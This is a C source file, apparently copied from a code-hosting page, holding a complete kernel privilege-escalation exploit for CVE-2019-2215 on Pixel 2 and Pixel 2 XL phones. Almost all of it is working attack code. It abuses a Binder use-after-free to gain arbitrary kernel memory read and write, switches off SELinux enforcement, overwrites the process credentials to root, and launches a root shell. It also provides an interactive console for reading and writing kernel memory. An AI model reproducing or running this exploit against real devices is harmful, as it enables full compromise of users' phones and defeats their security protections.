766 lines
28 KiB
C
766 lines
28 KiB
C
/*
|
|
* cve-2019-2215.c: Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
|
|
*
|
|
* Based on proof-of-concept by Jann Horn & Maddie Stone of Google Project Zero.
|
|
* cf. https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
|
|
*
|
|
* Description: Demonstration of a kernel memory R/W-only privilege escalation
|
|
* attack resulting in a temporary root shell.
|
|
*
|
|
* Works on Google Pixel 2/Pixel 2 XL (walleye/taimen) devices
|
|
* running the QP1A.190711.020 image with kernel version-BuildID
|
|
* 4.4.177-g83bee1dc48e8. For this tool to work on other devices or
|
|
* kernels affected by the same vulnerability, some offsets need to
|
|
* be found and changed.
|
|
*
|
|
* Also includes a mini debug console from which it is possible to
|
|
* explore and modify kernel memory, as well as spawn a shell. Odd!
|
|
*
|
|
* Usage: Compile for AArch64 and run; all the source is in a single file on
|
|
* purpose. Tested with the cross-compiler toolchain in Android NDK r20.
|
|
*
|
|
* Pass 'debug' as the sole cmdline argument to start the mini debug
|
|
* console instead of the privesc routine after kernel R/W is achieved.
|
|
*
|
|
* Sample output:
|
|
*
|
|
* taimen:/ $ cd /data/local/tmp
|
|
* taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
|
|
* taimen:/data/local/tmp $ ./cve-2019-2215
|
|
* Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
|
|
* [+] startup
|
|
* [+] find kernel address of current task_struct
|
|
* [+] obtain arbitrary kernel memory R/W
|
|
* [+] find kernel base address
|
|
* [+] bypass SELinux and patch current credentials
|
|
* taimen:/data/local/tmp # id
|
|
* uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
|
|
* 1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
|
|
* 3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
|
|
* taimen:/data/local/tmp # getenforce
|
|
* Permissive
|
|
* taimen:/data/local/tmp # exit
|
|
* taimen:/data/local/tmp $
|
|
*
|
|
* <-- snip -->
|
|
*
|
|
* taimen:/data/local/tmp $ ./cve-2019-2215 debug
|
|
* Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
|
|
* [+] startup
|
|
* [+] find kernel address of current task_struct
|
|
* [+] obtain arbitrary kernel memory R/W
|
|
* [+] find kernel base address
|
|
* launching debug console, enter 'help' for quick help
|
|
* debug> print
|
|
* ffffff9bad880000 kernel_base
|
|
* ffffff9baf8a57d0 init_task
|
|
* ffffff9baf8af2c8 init_user_ns
|
|
* ffffff9baf8e3780 selinux_enabled
|
|
* ffffff9bafc4e4a8 selinux_enforcing
|
|
* ffffffe6b2942b80 current
|
|
* debug> write ffffff9bafc4e4a8 01 00 00 00
|
|
* debug> exit
|
|
* taimen:/data/local/tmp $ getenforce
|
|
* Enforcing
|
|
* taimen:/data/local/tmp $
|
|
*
|
|
*/
|
|
|
|
#define _GNU_SOURCE
|
|
#include <ctype.h>
|
|
#include <err.h>
|
|
#include <errno.h>
|
|
#include <error.h>
|
|
#include <fcntl.h>
|
|
#include <linux/sched.h>
|
|
#include <sched.h>
|
|
#include <stddef.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/epoll.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/mman.h>
|
|
#include <sys/prctl.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/uio.h>
|
|
#include <sys/un.h>
|
|
#include <sys/utsname.h>
|
|
#include <sys/wait.h>
|
|
#include <unistd.h>
|
|
|
|
typedef uint8_t u8;
|
|
typedef uint32_t u32;
|
|
typedef uint64_t u64;
|
|
|
|
// #include <linux/android/binder.h>
|
|
#define BINDER_THREAD_EXIT 0x40046208ul
|
|
// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
|
|
#ifndef PAGE_SIZE
|
|
#define PAGE_SIZE 0x1000
|
|
#endif
|
|
|
|
/* Data structure definitions as found in the Sep 2019 QP1A.190711.020 build of
|
|
* Android 10 for walleye/taimen, kernel version-BuildID 4.4.177-g83bee1dc48e8.
|
|
* Verified using `pahole` on a build of the official Android kernel/msm git:
|
|
*
|
|
* https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-android10
|
|
* (tree a4557a647a054b871bdf8e452a014cafa0ae5078)
|
|
*
|
|
* We leave only the fields in which we're interested, and we're really only
|
|
* interested in their offsets; the others_* fields are padding.
|
|
*
|
|
* (<original type> <offset> <size>)
|
|
*/
|
|
struct binder_thread {
|
|
u8 others_0[160];
|
|
u8 wait[24]; /* wait_queue_head_t 160 24 */
|
|
u8 others_1[216];
|
|
// u8 others_1[224]; /* NOTE: see binder_iovecs below */
|
|
} __attribute__((packed)); /* size: 408 in kernel, 400 here */
|
|
|
|
struct task_struct {
|
|
u8 others_0[1312];
|
|
u64 mm; /* struct mm_struct * 1312 8 */
|
|
u8 others_1[608];
|
|
u64 real_cred; /* const struct cred * 1928 8 */
|
|
u64 cred; /* const struct cred * 1936 8 */
|
|
u8 others_2[1736];
|
|
} __attribute__((packed)); /* size: 3680 */
|
|
|
|
struct mm_struct {
|
|
u8 others_0[768];
|
|
u64 user_ns; /* struct user_namespace * 768 8 */
|
|
u8 others_1[48];
|
|
} __attribute__((packed)); /* size: 824 */
|
|
|
|
struct cred {
|
|
u8 others_0[4];
|
|
u32 uid; /* kuid_t 4 4 */
|
|
u32 gid; /* kgid_t 8 4 */
|
|
u32 suid; /* kuid_t 12 4 */
|
|
u32 sgid; /* kgid_t 16 4 */
|
|
u32 euid; /* kuid_t 20 4 */
|
|
u32 egid; /* kgid_t 24 4 */
|
|
u32 fsuid; /* kuid_t 28 4 */
|
|
u32 fsgid; /* kgid_t 32 4 */
|
|
u32 securebits; /* unsigned int 36 4 */
|
|
u64 cap_inheritable; /* kernel_cap_t 40 8 */
|
|
u64 cap_permitted; /* kernel_cap_t 48 8 */
|
|
u64 cap_effective; /* kernel_cap_t 56 8 */
|
|
u64 cap_bset; /* kernel_cap_t 64 8 */
|
|
u64 cap_ambient; /* kernel_cap_t 72 8 */
|
|
u8 others_1[40];
|
|
u64 security; /* void * 120 8 */
|
|
u8 others_2[40];
|
|
} __attribute__((packed)); /* size: 168 */
|
|
|
|
struct task_security_struct {
|
|
u32 osid; /* u32 0 4 */
|
|
u32 sid; /* u32 4 4 */
|
|
u32 exec_sid; /* u32 8 4 */
|
|
u32 create_sid; /* u32 12 4 */
|
|
u32 keycreate_sid; /* u32 16 4 */
|
|
u32 sockcreate_sid; /* u32 20 4 */
|
|
} __attribute__((packed)); /* size: 24 */
|
|
|
|
/* Kernel symbol table offsets, relative to _head, in the QP1A.190711.020
|
|
* walleye/taimen kernel. The SELinux-related offsets were determined with
|
|
* reference to System.map and a minor bit of trial-and-error.
|
|
*/
|
|
const ptrdiff_t ksym_init_task = 0x20257d0;
|
|
const ptrdiff_t ksym_init_user_ns = 0x202f2c8;
|
|
const ptrdiff_t ksym_selinux_enabled = 0x2063780;
|
|
const ptrdiff_t ksym_selinux_enforcing = 0x23ce4a8;
|
|
|
|
/* The exploit relies upon a use-after-free by the kernel's epoll cleanup code
|
|
* resulting from an oversight in Android's Binder IPC subsystem, fixed here:
|
|
*
|
|
* https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b
|
|
*
|
|
* In the original Project Zero POC, arrays of 25 `struct iovec`s are treated
|
|
* as `struct binder_thread`s by the kernel. We do the same here via a union,
|
|
* which hopefully clarifies where the #defines of 25 and 10 came from in the
|
|
* original POC. Since we're using structure definitions for offsets only, we're
|
|
* fine cutting off 8 bytes from our definition of a `struct binder_thread` to
|
|
* ensure `sizeof(binder_iovecs) == sizeof(struct iovec[25]) == 400`.
|
|
*/
|
|
const size_t iovs_sz = sizeof(struct binder_thread) / sizeof(struct iovec);
|
|
const size_t iov_idx = offsetof(struct binder_thread, wait) / sizeof(struct iovec);
|
|
typedef union {
|
|
struct binder_thread bt;
|
|
struct iovec iovs[iovs_sz];
|
|
} binder_iovecs;
|
|
|
|
void kwrite(u64 kaddr, void *buf, size_t len);
|
|
void kread(u64 kaddr, void *buf, size_t len);
|
|
void kwrite_u64(u64 kaddr, u64 data);
|
|
void kwrite_u32(u64 kaddr, u32 data);
|
|
u64 kread_u64(u64 kaddr);
|
|
u64 kread_u32(u64 kaddr);
|
|
|
|
void prepare_globals(void);
|
|
void find_current(void);
|
|
void obtain_kernel_rw(void);
|
|
void find_kernel_base(void);
|
|
void patch_creds(void);
|
|
void launch_shell(void);
|
|
void launch_debug_console(void);
|
|
|
|
void con_loop(void);
|
|
int con_consume(char **token);
|
|
int con_parse_hexstring(char *token, u64 *val);
|
|
int con_parse_number(char *token, u64 *val);
|
|
int con_parse_hexbytes(char **token, u8 **data, size_t *len);
|
|
void con_kdump(u64 kaddr, size_t len);
|
|
|
|
void execute_stage(int op);
|
|
void notify_stage_failure(void);
|
|
|
|
int main(int argc, char *argv[]);
|
|
|
|
pid_t pid;
|
|
int debugging;
|
|
void *dummy_page;
|
|
int kernel_rw_pipe[2];
|
|
int binder_fd;
|
|
int epoll_fd;
|
|
|
|
u64 current;
|
|
u64 kernel_base;
|
|
|
|
void kwrite(u64 kaddr, void *buf, size_t len) {
|
|
errno = 0;
|
|
if (len > PAGE_SIZE)
|
|
errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
|
|
if (write(kernel_rw_pipe[1], buf, len) != (ssize_t)len)
|
|
err(1, "kwrite failed to load userspace buffer");
|
|
if (read(kernel_rw_pipe[0], (void *)kaddr, len) != (ssize_t)len)
|
|
err(1, "kwrite failed to overwrite kernel memory");
|
|
}
|
|
void kread(u64 kaddr, void *buf, size_t len) {
|
|
errno = 0;
|
|
if (len > PAGE_SIZE)
|
|
errx(1, "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len);
|
|
if (write(kernel_rw_pipe[1], (void *)kaddr, len) != (ssize_t)len)
|
|
err(1, "kread failed to read kernel memory");
|
|
if (read(kernel_rw_pipe[0], buf, len) != (ssize_t)len)
|
|
err(1, "kread failed to write out to userspace");
|
|
}
|
|
u64 kread_u64(u64 kaddr) {
|
|
u64 data;
|
|
kread(kaddr, &data, sizeof(data));
|
|
return data;
|
|
}
|
|
u64 kread_u32(u64 kaddr) {
|
|
u32 data;
|
|
kread(kaddr, &data, sizeof(data));
|
|
return data;
|
|
}
|
|
void kwrite_u64(u64 kaddr, u64 data) {
|
|
kwrite(kaddr, &data, sizeof(data));
|
|
}
|
|
void kwrite_u32(u64 kaddr, u32 data) {
|
|
kwrite(kaddr, &data, sizeof(data));
|
|
}
|
|
|
|
void prepare_globals(void) {
|
|
pid = getpid();
|
|
|
|
struct utsname kernel_info;
|
|
if (uname(&kernel_info) == -1)
|
|
err(1, "determine kernel release");
|
|
if (strcmp(kernel_info.release, "4.4.177-g83bee1dc48e8"))
|
|
warnx("kernel version-BuildID is not '4.4.177-g83bee1dc48e8'");
|
|
|
|
dummy_page = mmap((void *)0x100000000ul, 2 * PAGE_SIZE,
|
|
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
|
if (dummy_page != (void *)0x100000000ul)
|
|
err(1, "mmap 4g aligned");
|
|
if (pipe(kernel_rw_pipe))
|
|
err(1, "kernel_rw_pipe");
|
|
|
|
binder_fd = open("/dev/binder", O_RDONLY);
|
|
epoll_fd = epoll_create(1000);
|
|
}
|
|
void find_current(void) {
|
|
/* Originally: void leak_task_struct(void); */
|
|
struct epoll_event event = {.events = EPOLLIN};
|
|
if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))
|
|
err(1, "epoll_add");
|
|
|
|
binder_iovecs bio;
|
|
memset(&bio, 0, sizeof(bio));
|
|
bio.iovs[iov_idx].iov_base = dummy_page; /* spinlock in the low address half must be zero */
|
|
bio.iovs[iov_idx].iov_len = PAGE_SIZE; /* wq->task_list->next */
|
|
bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */
|
|
bio.iovs[iov_idx + 1].iov_len = PAGE_SIZE;
|
|
|
|
int pipe_fd[2];
|
|
if (pipe(pipe_fd))
|
|
err(1, "pipe");
|
|
if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) != PAGE_SIZE)
|
|
err(1, "pipe size");
|
|
static char page_buffer[PAGE_SIZE];
|
|
|
|
pid = fork();
|
|
if (pid == -1)
|
|
err(1, "fork");
|
|
if (pid == 0) {
|
|
/* Child process */
|
|
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
|
sleep(2);
|
|
epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);
|
|
// first page: dummy data
|
|
if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)
|
|
err(1, "read full pipe");
|
|
close(pipe_fd[1]);
|
|
exit(0);
|
|
}
|
|
|
|
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
|
|
ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz);
|
|
if (writev_ret != (ssize_t)(2 * PAGE_SIZE))
|
|
errx(1, "writev() returns 0x%lx, expected 0x%lx\n",
|
|
writev_ret, (ssize_t)(2 * PAGE_SIZE));
|
|
// second page: leaked data
|
|
if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)
|
|
err(1, "read full pipe");
|
|
|
|
pid_t status;
|
|
if (wait(&status) != pid)
|
|
err(1, "wait");
|
|
|
|
current = *(u64 *)(page_buffer + 0xe8);
|
|
}
|
|
void obtain_kernel_rw(void) {
|
|
/* Originally: void clobber_addr_limit(void); */
|
|
struct epoll_event event = {.events = EPOLLIN};
|
|
if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))
|
|
err(1, "epoll_add");
|
|
|
|
binder_iovecs bio;
|
|
memset(&bio, 0, sizeof(bio));
|
|
bio.iovs[iov_idx].iov_base = dummy_page; /* spinlock in the low address half must be zero */
|
|
bio.iovs[iov_idx].iov_len = 1; /* wq->task_list->next */
|
|
bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */
|
|
bio.iovs[iov_idx + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
|
|
bio.iovs[iov_idx + 2].iov_base = (void *)0xbeefdead;
|
|
bio.iovs[iov_idx + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */
|
|
|
|
u64 second_write_chunk[] = {
|
|
1, /* iov_len */
|
|
0xdeadbeef, /* iov_base (already used) */
|
|
0x8 + 2 * 0x10, /* iov_len (already used) */
|
|
current + 0x8, /* next iov_base (addr_limit) */
|
|
8, /* next iov_len (sizeof(addr_limit)) */
|
|
0xfffffffffffffffe /* value to write */
|
|
};
|
|
|
|
int socks[2];
|
|
if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks))
|
|
err(1, "socketpair");
|
|
if (write(socks[1], "X", 1) != 1)
|
|
err(1, "write socket dummy byte");
|
|
|
|
pid = fork();
|
|
if (pid == -1)
|
|
err(1, "fork");
|
|
if (pid == 0) {
|
|
/* Child process */
|
|
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
|
sleep(2);
|
|
epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);
|
|
size_t write_sz = sizeof(second_write_chunk);
|
|
if (write(socks[1], second_write_chunk, write_sz) != (ssize_t)write_sz)
|
|
err(1, "write second chunk to socket");
|
|
exit(0);
|
|
}
|
|
|
|
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
|
|
struct msghdr msg = {.msg_iov = bio.iovs, .msg_iovlen = iovs_sz};
|
|
size_t recvmsg_sz = bio.iovs[iov_idx].iov_len +
|
|
bio.iovs[iov_idx + 1].iov_len +
|
|
bio.iovs[iov_idx + 2].iov_len;
|
|
ssize_t recvmsg_ret = recvmsg(socks[0], &msg, MSG_WAITALL);
|
|
if (recvmsg_ret != (ssize_t)recvmsg_sz)
|
|
errx(1, "recvmsg() returns %ld, expected %lu\n", recvmsg_ret, recvmsg_sz);
|
|
|
|
setbuf(stdout, NULL);
|
|
}
|
|
void find_kernel_base(void) {
|
|
u64 current_mm = kread_u64(current + offsetof(struct task_struct, mm));
|
|
u64 current_user_ns = kread_u64(current_mm + offsetof(struct mm_struct, user_ns));
|
|
kernel_base = current_user_ns - ksym_init_user_ns;
|
|
if (kernel_base & 0xffful) {
|
|
if (debugging) {
|
|
warnx("bad kernel base (not 0x...000)");
|
|
kernel_base = 0;
|
|
return;
|
|
} else {
|
|
errx(1, "bad kernel base (not 0x...000)");
|
|
}
|
|
}
|
|
|
|
u64 init_task = kernel_base + ksym_init_task;
|
|
u64 cred_ptrs[2] = {
|
|
kread_u64(init_task + offsetof(struct task_struct, real_cred)), /* init_task.real_cred */
|
|
kread_u64(init_task + offsetof(struct task_struct, cred)), /* init_task.cred */
|
|
};
|
|
|
|
/* Examine what we think are the init process' credentials.
|
|
* Presumably, these tests are unlikely to pass unless we have the right
|
|
* kernel base, kernel symbol offsets, and kernel data structure offsets.
|
|
*/
|
|
for (int cred_idx = 0; cred_idx < 2; cred_idx++) {
|
|
struct cred cred;
|
|
kread(cred_ptrs[cred_idx], &cred, sizeof(struct cred));
|
|
|
|
if (cred.uid || cred.gid || cred.suid || cred.sgid ||
|
|
cred.euid || cred.egid || cred.fsuid || cred.fsgid) {
|
|
if (debugging) {
|
|
warnx("bad kernel base (init_task not where expected)");
|
|
kernel_base = 0;
|
|
return;
|
|
} else {
|
|
errx(1, "bad kernel base (init_task not where expected)");
|
|
}
|
|
}
|
|
|
|
const u64 cap = 0x3fffffffff;
|
|
if (cred.cap_inheritable || cred.cap_permitted != cap ||
|
|
cred.cap_effective != cap || cred.cap_bset != cap ||
|
|
cred.cap_ambient) {
|
|
if (debugging) {
|
|
warnx("bad kernel base (init_task not where expected)");
|
|
kernel_base = 0;
|
|
return;
|
|
} else {
|
|
errx(1, "bad kernel base (init_task not where expected)");
|
|
}
|
|
}
|
|
|
|
/* .real_cred == .cred, probably. */
|
|
if (cred_ptrs[0] == cred_ptrs[1])
|
|
break;
|
|
}
|
|
}
|
|
void patch_creds(void) {
|
|
u64 cred_ptrs[2] = {
|
|
kread_u64(current + offsetof(struct task_struct, real_cred)), /* current->real_cred */
|
|
kread_u64(current + offsetof(struct task_struct, cred)), /* current->cred */
|
|
};
|
|
|
|
/* Final check: our struct cred(s?) in the kernel should contain our uid. */
|
|
if (kread_u32(cred_ptrs[0] + offsetof(struct cred, uid)) != getuid())
|
|
errx(1, "bad cred (current->real_cred->uid not our own uid)");
|
|
if (cred_ptrs[0] != cred_ptrs[1])
|
|
if (kread_u32(cred_ptrs[1] + offsetof(struct cred, uid)) != getuid())
|
|
errx(1, "bad cred (current->cred->uid not our own uid)");
|
|
|
|
/* Just disabling selinux_enforcing should suffice for our purposes. SELinux
|
|
* still does MAC (mandatory access control) checks on our actions based on
|
|
* our security contexts, but violations are logged, not prevented. Our
|
|
* permissions then fall back to DAC (discretionary access control), i.e.
|
|
* user accounts/groups. And as we know, the root user is DAC omnipotent.
|
|
*/
|
|
// kwrite_u32(kernel_base + ksym_selinux_enabled, 0);
|
|
kwrite_u32(kernel_base + ksym_selinux_enforcing, 0);
|
|
|
|
/* Patch our struct cred(s?) in the kernel. */
|
|
for (int cred_idx = 0; cred_idx < 2; cred_idx++) {
|
|
u64 cred_ptr = cred_ptrs[cred_idx];
|
|
|
|
/* All 8 (e|f?s)?[ug]id members should be set to 0, making us root. */
|
|
kwrite_u32(cred_ptr + offsetof(struct cred, uid), 0);
|
|
kwrite_u32(cred_ptr + offsetof(struct cred, gid), 0);
|
|
kwrite_u32(cred_ptr + offsetof(struct cred, suid), 0);
|
|
kwrite_u32(cred_ptr + offsetof(struct cred, sgid), 0);
|
|
kwrite_u32(cred_ptr + offsetof(struct cred, euid), 0);
|
|
kwrite_u32(cred_ptr + offsetof(struct cred, egid), 0);
|
|
kwrite_u32(cred_ptr + offsetof(struct cred, fsuid), 0);
|
|
kwrite_u32(cred_ptr + offsetof(struct cred, fsgid), 0);
|
|
|
|
/* What to do with securebits is not as obvious. The comment for it in
|
|
* the kernel source reads 'SUID-less security management'. In the init
|
|
* process' cred(s?), this is set to 0, so we might as well do the same.
|
|
*/
|
|
kwrite_u32(cred_ptr + offsetof(struct cred, securebits), 0);
|
|
|
|
/* All 5 cap_.+ members should be bitset to all 1's. We will have all
|
|
* capability bits set, and our children will be able to inherit them.
|
|
*/
|
|
kwrite_u64(cred_ptr + offsetof(struct cred, cap_inheritable), ~(u64)0);
|
|
kwrite_u64(cred_ptr + offsetof(struct cred, cap_permitted), ~(u64)0);
|
|
kwrite_u64(cred_ptr + offsetof(struct cred, cap_effective), ~(u64)0);
|
|
kwrite_u64(cred_ptr + offsetof(struct cred, cap_bset), ~(u64)0);
|
|
kwrite_u64(cred_ptr + offsetof(struct cred, cap_ambient), ~(u64)0);
|
|
|
|
/* Also patch our task_security_struct(s?). This is not necessary with
|
|
* SELinux bypassed, but we will again match init's settings and set
|
|
* the osid and sid members to 1.
|
|
*/
|
|
u64 security_ptr = kread_u64(cred_ptr + offsetof(struct cred, security));
|
|
kwrite_u32(security_ptr + offsetof(struct task_security_struct, osid), 1);
|
|
kwrite_u32(security_ptr + offsetof(struct task_security_struct, sid), 1);
|
|
|
|
/* .real_cred == .cred, probably. */
|
|
if (cred_ptrs[0] == cred_ptrs[1])
|
|
break;
|
|
}
|
|
|
|
if (getuid())
|
|
errx(1, "did some patching, but our uid is not 0");
|
|
}
|
|
void launch_shell(void) {
|
|
if (execl("/bin/sh", "/bin/sh", (char *)NULL) == -1)
|
|
err(1, "launch shell");
|
|
}
|
|
void launch_debug_console(void) {
|
|
printf("launching debug console; enter 'help' for quick help\n");
|
|
con_loop();
|
|
}
|
|
|
|
void con_loop(void) {
|
|
u64 kaddr;
|
|
size_t len;
|
|
|
|
int running = 1;
|
|
while (running) {
|
|
printf("debug> ");
|
|
|
|
char *line = NULL;
|
|
size_t getline_buf_len = 0;
|
|
if (getline(&line, &getline_buf_len, stdin) == -1)
|
|
err(1, "read stdin");
|
|
int was_handled = 0;
|
|
|
|
char *token = strtok(line, " \t\r\n\a");
|
|
if (token && !strcmp(token, "print") && con_consume(&token)) {
|
|
printf("%lx kernel_base\n", kernel_base);
|
|
printf("%lx init_task\n", kernel_base + ksym_init_task);
|
|
printf("%lx init_user_ns\n", kernel_base + ksym_init_user_ns);
|
|
printf("%lx selinux_enabled\n", kernel_base + ksym_selinux_enabled);
|
|
printf("%lx selinux_enforcing\n", kernel_base + ksym_selinux_enforcing);
|
|
printf("%lx current\n", current);
|
|
was_handled = 1;
|
|
} else if (token && !strcmp(token, "read")) {
|
|
/* Not that there'd actually be any kmem allocated there, but if the
|
|
* read address were 0xffffffffffffffff, we'd technically be able to
|
|
* read exactly one byte. We ~do~ want to handle that case... right?
|
|
*/
|
|
if (con_parse_hexstring(strtok(NULL, " \t\r\n\a"), &kaddr) &&
|
|
con_parse_number(strtok(NULL, " \t\r\n\a"), &len) &&
|
|
con_consume(&token) && 0 < len && len <= PAGE_SIZE &&
|
|
len - 1 <= ~(u64)0 - kaddr) {
|
|
con_kdump(kaddr, len);
|
|
was_handled = 1;
|
|
}
|
|
} else if (token && !strcmp(token, "write")) {
|
|
u8 *data = NULL;
|
|
if (con_parse_hexstring(strtok(NULL, " \t\r\n\a"), &kaddr) &&
|
|
con_parse_hexbytes(&token, &data, &len) && 0 < len &&
|
|
len <= PAGE_SIZE && len - 1 <= ~(u64)0 - kaddr) {
|
|
kwrite(kaddr, data, len);
|
|
was_handled = 1;
|
|
}
|
|
free(data);
|
|
} else if (token && !strcmp(token, "shell") && con_consume(&token)) {
|
|
pid = fork();
|
|
if (pid == -1)
|
|
err(1, "fork");
|
|
if (pid == 0)
|
|
launch_shell();
|
|
pid_t status;
|
|
do {
|
|
waitpid(pid, &status, WUNTRACED);
|
|
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
|
|
was_handled = 1;
|
|
} else if (token && !strcmp(token, "help") && con_consume(&token)) {
|
|
printf(
|
|
"quick help\n"
|
|
" print\n"
|
|
" print kernel base address, some kernel symbol offsets,\n"
|
|
" and address of current task_struct as hexstrings\n"
|
|
" read <kaddr> <len>\n"
|
|
" read <len> bytes from <kaddr> and display as a hexdump\n"
|
|
" <kaddr> is a hexstring not prefixed with 0x\n"
|
|
" <len> is 1-4096 or 0x1-0x1000\n"
|
|
" write <kaddr> <data>\n"
|
|
" write <data> to <kaddr>\n"
|
|
" <kaddr> is a hexstring not prefixed with 0x\n"
|
|
" <data> is 1-4096 hexbytes, spaces ignored, to be written *AS-IS*\n"
|
|
" e.g. if kaddr 0xffffffffdeadbeef contains an int, and you want to set\n"
|
|
" its value to 1, enter 'write ffffffffdeadbeef <data>', where <data> is\n"
|
|
" '01000000', '0100 0000', '01 00 0 0 00', etc. (our ARM is little-endian)\n"
|
|
" shell\n"
|
|
" launch a shell (hint: have we ~somehow~ become another user? :P)\n"
|
|
" help\n"
|
|
" print this help\n"
|
|
" exit\n"
|
|
" exit debug console\n");
|
|
was_handled = 1;
|
|
} else if (token && !strcmp(token, "exit") && con_consume(&token)) {
|
|
running = 0;
|
|
was_handled = 1;
|
|
}
|
|
|
|
if (!was_handled)
|
|
printf("woopz; enter 'help' for quick help\n");
|
|
|
|
free(line);
|
|
}
|
|
}
|
|
int con_consume(char **token) {
|
|
int ret = 1;
|
|
do {
|
|
if ((*token = strtok(NULL, " \t\r\n\a")))
|
|
ret = 0;
|
|
} while (*token);
|
|
return ret;
|
|
}
|
|
int con_parse_hexstring(char *token, u64 *val) {
|
|
if (!token || !(*token))
|
|
return 0;
|
|
*val = 0;
|
|
while (*token) {
|
|
if (*val & 0xf000000000000000)
|
|
return 0;
|
|
else if ('0' <= *token && *token <= '9')
|
|
*val = *val * 16 + *token - '0';
|
|
else if ('a' <= *token && *token <= 'f')
|
|
*val = *val * 16 + *token - 'a' + 10;
|
|
else if ('A' <= *token && *token <= 'F')
|
|
*val = *val * 16 + *token - 'A' + 10;
|
|
else
|
|
return 0;
|
|
token++;
|
|
}
|
|
return 1;
|
|
}
|
|
int con_parse_number(char *token, u64 *val) {
|
|
if (!token || !(*token))
|
|
return 0;
|
|
if (*token == '0' && (token[1] == 'x' || token[1] == 'X'))
|
|
return con_parse_hexstring(token + 2, val);
|
|
*val = 0;
|
|
while (*token) {
|
|
if (*token < '0' || '9' < *token)
|
|
return 0;
|
|
*val = *val * 10 + *token - '0';
|
|
if (*val > PAGE_SIZE)
|
|
return 0;
|
|
token++;
|
|
}
|
|
return 1;
|
|
}
|
|
int con_parse_hexbytes(char **token, u8 **data, size_t *len) {
|
|
static char hexbyte[2 + 1] = {'\0'};
|
|
|
|
u8 *buf = malloc(PAGE_SIZE * sizeof(u8));
|
|
if (!buf)
|
|
err(1, "allocate memory");
|
|
|
|
*data = buf;
|
|
*len = 0;
|
|
int hexbyte_idx = 0;
|
|
|
|
while ((*token = strtok(NULL, " \t\r\n\a"))) {
|
|
for (char *c = *token; *c; c++) {
|
|
if (!isxdigit(*c))
|
|
return 0;
|
|
hexbyte[hexbyte_idx++] = *c;
|
|
if (hexbyte_idx == 2) {
|
|
hexbyte_idx = 0;
|
|
u64 val;
|
|
if (*len == PAGE_SIZE || !con_parse_hexstring(hexbyte, &val))
|
|
return 0;
|
|
buf[(*len)++] = (u8)(val & 0xff);
|
|
}
|
|
}
|
|
}
|
|
|
|
return *len && !hexbyte_idx;
|
|
}
|
|
void con_kdump(u64 kaddr, size_t len) {
|
|
/* Mimic the output of `xxd`. */
|
|
static char line[40 + 1] = {'\0'};
|
|
static char text[16 + 1] = {'\0'};
|
|
|
|
if (!len)
|
|
return;
|
|
|
|
u8 *buf = malloc(len * sizeof(u8));
|
|
if (!buf)
|
|
err(1, "allocate memory");
|
|
|
|
kread(kaddr, buf, len);
|
|
|
|
for (u64 line_offset = 0; line_offset < len; line_offset += 16) {
|
|
char *linep = line;
|
|
for (size_t i = 0; i < 16; i++) {
|
|
if (i + line_offset < len) {
|
|
char c = buf[i + line_offset];
|
|
linep += sprintf(linep, (i & 1) ? "%02x " : "%02x", c);
|
|
text[i] = (' ' <= c && c <= '~') ? c : '.';
|
|
} else {
|
|
linep += sprintf(linep, (i & 1) ? " " : " ");
|
|
text[i] = ' ';
|
|
}
|
|
}
|
|
printf("%016lx: %s %s\n", kaddr + line_offset, line, text);
|
|
}
|
|
|
|
free(buf);
|
|
}
|
|
|
|
/* Excuse this mess; bionic libc doesn't have on_exit(). */
|
|
char *stage_desc;
|
|
struct stage_t {
|
|
void (*func)(void);
|
|
char *desc;
|
|
};
|
|
struct stage_t stages[] = {
|
|
{prepare_globals, "startup"},
|
|
{find_current, "find kernel address of current task_struct"},
|
|
{obtain_kernel_rw, "obtain arbitrary kernel memory R/W"},
|
|
{find_kernel_base, "find kernel base address"},
|
|
{patch_creds, "bypass SELinux and patch current credentials"},
|
|
{launch_shell, NULL},
|
|
{launch_debug_console, NULL},
|
|
};
|
|
void execute_stage(int stage_idx) {
|
|
stage_desc = stages[stage_idx].desc;
|
|
(*stages[stage_idx].func)();
|
|
if (stage_desc && pid && (stage_idx != 3 || kernel_base))
|
|
printf("[+] %s\n", stage_desc);
|
|
}
|
|
void notify_stage_failure(void) {
|
|
if (stage_desc && pid)
|
|
fprintf(stderr, "[-] %s failed\n", stage_desc);
|
|
}
|
|
|
|
